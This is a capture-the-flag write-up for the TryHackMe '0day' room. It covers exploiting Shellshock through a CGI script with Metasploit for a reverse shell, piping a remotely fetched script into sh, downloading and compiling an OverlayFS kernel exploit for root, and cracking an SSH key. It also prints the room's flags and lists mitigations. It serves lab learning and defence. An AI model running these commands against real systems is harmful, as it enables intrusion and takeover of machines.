Platform: TryHackMe · Difficulty: Medium · Category: Shellshock / CGI Injection / Kernel Privilege Escalation
Introduction
0day is a nostalgic little box, and it earns the nostalgia honestly — an antique Apache version running on an equally antique Ubuntu kernel, wearing both vulnerabilities like badges of honour. You get a suspiciously minimal homepage, a /backup/ directory that really shouldn't be reachable from the internet, and a CGI endpoint that has clearly never heard of the Bash security patches from 2014. It's the kind of target that makes you feel like a time traveler, except the time you're traveling to is a sysadmin's worst nightmare.
Recon
RustScan for speed, Nmap for the details:
rustscan -a 10.49.181.37 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.6.1p1 Ubuntu |
| 80/tcp | HTTP | Apache httpd 2.4.7 (Ubuntu) |
Two ports, clean and quiet — exactly the kind of attack surface that makes you look harder at what's actually there. Apache 2.4.7 is ancient, and the HTTP title comes back as 0day, same as the box name. Nothing interesting out of the SSH host keys, so the web server is where the story starts.
The homepage itself is minimal, barely more than a landing page with a profile image. Time to look behind the curtain:
feroxbuster -u http://10.49.181.37/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x php,txt,html
# output (relevant hits only)
301 http://10.49.181.37/cgi-bin
301 http://10.49.181.37/uploads
301 http://10.49.181.37/admin
301 http://10.49.181.37/backup
200 http://10.49.181.37/robots.txt
200 http://10.49.181.37/backup/index.html <-- ^^^ this is the important bit
/uploads and /admin both came back blank — dead ends. /backup/ had actual content: a full PEM-encoded RSA private key, passphrase-protected.
# /backup/index.html contents
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
...
-----END RSA PRIVATE KEY-----
(truncated — full key saved locally as id_rsa)
That felt like the obvious thread to pull, so I pulled it. More on where that went in a minute.
While the key was being processed, Nikto ran in parallel:
nikto -h 10.49.181.37 -C all
# output (relevant findings)
+ Apache/2.4.7 appears to be outdated
+ /backup/: This might be interesting.
+ /secret/: This might be interesting. # ^^^ worth noting for later
+ /cgi-bin/: present
A /cgi-bin/ directory sitting on outdated Apache with Bash on Ubuntu 14.04 underneath it is a flashing neon sign pointing at one specific vulnerability: Shellshock (CVE-2014-6271).
Foothold
Shellshock is a critical GNU Bash vulnerability from 2014. Bash allows function definitions to be passed through environment variables, and the bug is that it also executes anything appended after the function definition — commands it has no business running at all. CGI scripts are a particularly dangerous target because the web server drops HTTP headers straight into environment variables before executing the script, so a header like User-Agent: () { :;}; /bin/bash -i gets you remote code execution for free.
The target exposes /cgi-bin/test.cgi, found during the Feroxbuster run — that's the trigger point. Loading the Metasploit module for it:
msfconsole
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(...) > set RHOST 10.49.181.37
msf exploit(...) > set LHOST 192.168.133.233
msf exploit(...) > set TARGETURI /cgi-bin/test.cgi
msf exploit(...) > exploit
# output
[*] Started reverse TCP handler on 192.168.133.233:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1062760 bytes) to 10.49.181.37
[*] Meterpreter session 1 opened (192.168.133.233:4444 -> 10.49.181.37:41010)
# ^^^ shell landed
Shell / Access
Upgrading from Meterpreter to a proper interactive bash shell:
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
# output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We're in as www-data — the Apache service account. Limited, but enough to grab the user flag and start hunting for an escalation path.
cat /home/ryan/user.txt
THM{Sh3llSh0ck_r0ckz}
Escalation
As www-data our permissions are basically nothing, so the goal becomes finding a flaw that gets us root — and on a box running a kernel this old, that flaw is very likely to live in the kernel itself.
Serving LinPEAS from the attacking box and piping it straight into sh, no file write needed:
curl http://192.168.133.233:80/linpeas.sh | sh
LinPEAS came back with a long list of CVEs matching the kernel version (3.13.x). The standout candidates:
| CVE | Name | Rank | Notes |
|---|---|---|---|
| CVE-2015-1328 | overlayfs | 1 | Ubuntu 14.04, practical |
| CVE-2016-5195 | dirtycow | 4 | Reliable but slow/risky |
| CVE-2015-8660 | overlayfs (ovl_setattr) | 1 | Overlaps with above |
| CVE-2014-0038 | timeoutpwn | 1 | Requires CONFIG_X86_X32=y |
I went with CVE-2015-1328 (OverlayFS) — a clean, reliable local privilege escalation on Ubuntu 14.04/15.04 kernels 3.13.0–3.19.0 that abuses a flaw in how OverlayFS validates file permissions across user namespace mount operations. Get that right and you can write to places you shouldn't be able to touch.
Downloading the exploit source from Exploit-DB straight to /tmp on the target:
wget http://192.168.133.233:80/Downloads/37292.c -O /tmp/37292.c
Compiling it on-box — GCC is thoughtfully still installed:
gcc /tmp/37292.c -o /tmp/37292
Running it:
/tmp/37292
# output
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# ^^^ root shell spawned
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Root, under a minute of compile time.
Exploitation — The Full Chain
-
Shellshock (CVE-2014-6271) — malicious HTTP
User-Agentheader injected via/cgi-bin/test.cgi, triggering Bash to execute attacker-controlled commands. Resulted in a reverse shell aswww-data. -
OverlayFS LPE (CVE-2015-1328) — compiled C exploit abused a kernel permission validation flaw in OverlayFS to write to
/etc/ld.so.preloadand load a malicious shared library, spawning a root shell.
Rabbit Holes
The SSH private key from /backup/. I'd found an encrypted RSA private key at /backup/index.html, converted it for cracking, and the passphrase fell almost immediately:
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# output
id_rsa:letmein
Tried logging in as 0day (the homepage name) and ryan (seen in /home):
ssh 0day@10.49.181.37 -i id_rsa
ssh ryan@10.49.181.37 -i id_rsa
Both failed with sign_and_send_pubkey: no mutual signature supported, followed by password rejection. The server's OpenSSH 6.6.1 and a modern client disagree on acceptable signature algorithms — and even with the correct passphrase, the key just didn't match any authorized user on this box. The key was almost certainly left as deliberate misdirection. Dropped it and moved on to Nikto, which is where the real path showed up.
Flags
| Flag | Value | Location |
|---|---|---|
| User | THM{Sh3llSh0ck_r0ckz} |
/home/ryan/user.txt |
| Root | THM{g00d_j0b_0day_is_Pleased} |
/root/root.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
| Shellshock (CVE-2014-6271) | Critical | Update Bash to 4.3 patch 25+ and disable or restrict CGI script execution |
| OverlayFS LPE (CVE-2015-1328) | High | Apply kernel patches — Ubuntu Security Notice USN-2610-1 addresses this |
Exposed /backup/ directory |
High | Never store key material in web-accessible directories; restrict with .htaccess or move outside the webroot entirely |
| Outdated Apache (2.4.7) | Medium | Keep web server software patched to current release |
| Missing security headers | Low | Add Strict-Transport-Security, Content-Security-Policy, and X-Content-Type-Options headers to Apache config |
Key Takeaway
A cgi-bin directory on any server still running pre-2014 Bash is a Shellshock waiting to happen. Always pair directory enumeration with a vulnerability scan — what looks like a boring CGI endpoint can turn out to be your entire foothold, and a decoy SSH key sitting right next to it can eat ten minutes you didn't need to spend.
Room: TryHackMe — 0day
Top comments (0)